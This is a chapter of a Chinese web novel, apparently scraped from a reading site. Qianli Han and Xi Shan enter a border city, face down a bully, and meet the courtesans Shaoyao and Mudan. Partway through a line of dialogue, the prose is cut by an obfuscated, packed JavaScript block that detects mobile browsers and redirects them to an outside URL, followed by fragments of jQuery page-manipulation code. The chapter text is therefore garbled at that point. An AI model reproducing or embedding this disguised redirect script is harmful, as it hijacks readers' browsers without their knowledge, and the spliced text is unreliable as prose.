默认冷灰
24号文字
方正启体

53. 阇罗斯丹篇

作者:三天九乾本书字数:K更新时间:
    “云州我知道。但云州如今也不叫云州了,早年被夷人夺走后便改名古尔吉塔拉。”千里撼道。


    “对对,阇罗斯丹就在云州南边,毗邻北疆。这里早年被北疆占领,但因为隔着条江不好管理便遭忽视,又是北疆囚徒流放之地,如今便成了这副狗不理的模样。”


    “狗不理?北疆不管吗?”千里撼问道?


    “不能说不管吧,但的确懒得管。阇州不大,又夹在交界处,北疆只有犯错遭贬的将领才会来此驻军,可他们又住不惯,于是总爱瞎折腾。阇州如今虽然划入北疆,可毕竟还是魏人多,保存着大魏的习俗,但那些杀千刀的野人又瞧不起魏人,纵容北疆人欺负魏人,搞得我们生活困难,只有少数才能住在城中,剩下都要住山里。”


    “这偌大的一块地,他们就空放着?可是,哪怕北疆也有管辖地区之人啊。”


    “有是有,”戏扇想了想道,“有个大吐屯世代管着这里,可人家也是北疆人,只管驻军和征税,其它一律不管。”


    千里撼眉头紧蹙,默默叹了口气。


    “其实我懂你的意思,但北疆那些莽汉脑子里只有打仗,对舞文弄墨一窍不通的。谁叫我们被抛弃了呢,”戏扇低头苦笑,开解千里撼道,“如今这里的魏人越来越少,但也有不少魏人闯出了名堂,就像牡丹姐姐。不过总是不及大魏好就是了。”


    “这个牡丹姐姐我听你说过好多次,她究竟是什么人啊?”千里撼问道。


    “啊!”戏扇忽然激动起来,“牡丹姐姐是城里卧仙阁的花魁!是这世上最聪明最漂亮的女人!”


    “你听起来很崇拜她。”


    “当然了,魏人没几个不崇拜她的!只要来阇州,你可以不知道这是谁的地盘,但你一定会知道卧仙阁的牡丹娘子!”


    “有机会真想见见她。”千里撼道。


    “嗯……这样吧,”戏扇思索一番道,“我早就求过牡丹姐姐为你寻良医,等过几日我带你去她那里瞧瞧,顺便你俩见一面,怎么样?”


    千里撼点点头道:“好啊,只是辛苦你了。”


    “不辛苦不辛苦,我力气多着呢!”他一听千里撼答应了恨不得开心的满院跑,一口气做了四个菜,末了还不忘给蝴蝶送去一份。


    三天后,戏扇收拾好一切,推着轮椅带千里撼进城。


    她被捂的严严实实,甚至用头巾围住了脸。戏扇不知从哪找来套藏色北疆男装给千里撼,她身形高大穿着正合适,脚踩长靴,远远望去没人会怀疑她是女人。


    北疆毕竟是个男尊女卑的地方,像她这样来路不明又身体残疾的女人则更是危险,临行之前戏扇再三嘱咐她不要张口说话,以免被发现身份,可见女人在此处境艰难。


    戏扇推着轮椅上上下下的走,死活不让千里撼拄拐,可一进了城他忽然成了哑巴,只偶尔低声提醒千里撼几句便罢。


    千里撼眼睛坏了,看东西不真切,只依稀有个虚影,索性就把眼闭了起来。


    “哪来的瞎子,真晦气!”


    一个男声在千里撼头顶响起,带着浓厚的北疆口音却非要用她能听懂的语言,想必是刻意说给他们听的。


    不过那又如何。


    她眼皮都懒得抬,只当是个屁,将那人放了。


    “你说什么!”戏扇忽然道。


    “呦,小娘们儿生气啦?说你男人一句,你不高兴?”那人不依不饶,挑衅似的凑近戏扇,用肩膀狠狠撞了他一下。


    魏人身形不如北疆人,戏扇又不是天生强壮之人,自然招架不住这一下,若非拽着轮椅恐怕要被撞倒在地。可他不知怎的,今日忽然较起劲来,分明平日里也没少遭欺负。


    戏扇:“你说谁晦气!”


    “哈哈哈哈,”那北疆人笑了几声,像是见了什么好玩儿的,退回来推搡戏扇,“呦,小兔子咬人啦,我好害怕呀~长个娘们儿样儿,真拿自己当男人啦哈哈哈……”


    他说着,忽然拽过戏扇衣裳,带着□□道:“老子今天就扒了这层皮瞧瞧你到底有没有那玩应儿!”


    四周只零星有几个人偷看,大多数则事不关己的走开,毕竟这种事每天都在发生。


    “混蛋!”戏扇侧身挡在千里撼身前用力推了那人一把,“给我朋友道歉!”


    “道歉?”那人梗着脖子凑上前道:“让我给你个娘们儿道歉,做梦!”


    他说着,挥手就要打向戏扇,一阵掌风袭来,熟悉的疼痛却没有降临。


    戏扇松开紧咬的牙关,悄悄睁眼,这才看清,千里撼不知何时横在两人身前,她坐在轮椅上,单手抓住那北疆人手腕使其动弹不得。


    “呦,不是瞎子嘛。你不会真是这小娘们儿姘头吧?”


    那人咬着牙企图挣脱,却被千里撼牢牢抓住,只能出言羞辱挽回尊严。


    “喂!放开我!”


    千里撼手腕越握越紧,颇有要将其手骨捏碎的架势。


    “死瞎子,放开我!你是聋子还是哑巴!放开我!!”他挣扎着惨叫,另一手拼命扳着千里撼手臂,犹如被一口大鼎压住。


    千里撼手上力道逐渐加重,耳边隐隐有骨头开裂的细碎声。


    她虽然残了,但功夫还在,废这么个小小地痞的能耐还是有的。


    那人呼声越来越大,引得不少北疆人围观,他们最是团结。


    戏扇见此悄悄拍了拍千里撼肩膀示意,千里撼这才松手。


    “你!你!!”


    那人气急败坏却不敢骂什么,生怕另一只手再废了,于是忽然耍赖要她们赔药钱否则就去告吐屯做主。


    “是谁耽误我们卧仙阁做生意啊?”


    一个魏人模样的女子走来,上头穿着露腰水袖,下身却是裤子,装束古怪的很。


    她款款走来,横在戏扇身前调侃道,“哎呦,这不是我们楼里的常客嘛,这是怎么了?哎呦!瞧瞧这手!”


    她说着,托起那人手腕满脸惋惜,“客官啊,你这手,啧啧!你这是筋脉逆转了啊,还好这个会医术的小兄弟给你扳了过来啊,否则后果不堪设想呢!”


    “放屁,”那人胡搅蛮缠道,“分明就是他给我捏坏的,还要我反过来谢他?”


    “哎呦你有所不知啊,这位小兄弟可是我们楼里新请来的神医,别看他有些残疾,但医术高着呢。我问你,你近日是否总觉得浑身乏力,白日睡不醒,夜里睡不实,还总爱盗汗?”


    “呃,”那人挠了挠头,“好像是有。”


    “这就对了!”女子一拍手,解释道,“这就是翻筋症,初得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292923|198540||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    病时无知无觉,待蔓延全身便会成那活死人!你如今病症在手,这小兄弟替你治了,还不要钱,你谢都来不及啊!”


    “这……居然是这样吗?那、那谢谢了……”那人说完,捂着手腕一脸茫然地走了。


    见那人走远,戏扇悄悄称赞道:“嘿嘿,芍药姐姐,你真厉害!你怎么知道他得了翻筋症啊?”


    “屁的翻筋症,”女子顿时卸下笑脸,面上没有一点温度朝远处淡淡斜了眼道,“他整日只知道逛窑子,那是肾亏!我唬他的,你也信?”


    “哦,是这样,”戏扇惊叹道,“不愧是芍药姐,简直冰雪聪明。”


    “行了,别拍马屁了。”她招呼戏扇道,“跟我来。牡丹叫我来接你们的,果不其然,什么都逃不过她的眼睛。”


    戏扇赶忙推起轮椅跟了上去,“牡丹姐姐知道我们会被找麻烦?”


    芍药忽然停下脚步,戏扇一时没刹住,轱辘撞在她小腿上。


    她回头看了眼轮椅上的人,又看了看戏扇,勾唇笑了下什么都没说。


    卧仙阁里,牡丹早早等着她们,一进门便是铺天盖地的香气,丝竹声中不乏诗人,裹着酒气和薄纱推杯换盏。整个卧仙阁像巨大的鸟笼,从二楼开始有无数的房间堆叠,粉红、压抑,叫人喘不过气。


    她们从侧门直接绕上四楼,省去不必要的交往,戏扇一进到这里话便多了起来,像到家了似的,一路上不住嘴的给千里撼讲各式陈设,生怕她看不到亏了眼睛。


    四楼一层只有五间房,居正中的便是“牡丹房”,芍药将她们送到便打了个哈欠回自己屋里去了。


    戏扇敲了敲门,“牡丹姐姐,我进来了。”


    “嗯。”


    刚推开门,一股生冷清凉的香气扑了千里撼满脸,像一阵风,扫清了一路的甜腻。


    她动了动鼻尖,默默道:“龙脑香。”


    “好鼻子。”一阵女声从后头传来,“小扇子,她就是你媳妇?”


    戏扇一听赶忙摆胳膊否认,“不是不是!哎呀!牡丹姐我都说不是了,你这人怎么这样!”


    “不是?”


    女子撩开帘子带来一阵清凉,她点着朱唇,画着胭脂,活像花里生出来的,一身的红粉,但奇怪的是她看起来很安静,毫不媚俗,甚至有些威严。


    “不是的话我就没理由救她,你请回吧。”这话不知是在对谁说。


    千里撼笑了笑,对那女子道,“辛苦姑娘,无论姑娘救与不救,路某都心怀感激。戏扇收留我这么久,忙前忙后毫无怨言,待我身体恢复,定会保他后半生富贵无忧。”


    她看着千里撼,半晌,忽然笑起来,对着戏扇调侃道:“你眼光不错。我只细看几眼,魂都要被勾去了。”


    戏扇闻言一下子红了脸,他有些心虚的瞥了眼千里撼,生怕她瞧见。


    “进来吧,大夫就在里面。”牡丹摆摆手招呼二人进了里屋。


    “你进来干嘛?”


    她将戏扇挡在外头,指尖抵着他地脑门儿道,“待会儿她要脱衣服呢,你进来合适吗?”


    戏扇顿时全身通红。


    “去去,去外面守着去。”她说罢,接过轮椅往里推了一段。


    千里撼仔细听着,发觉屋内并无第四个人。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)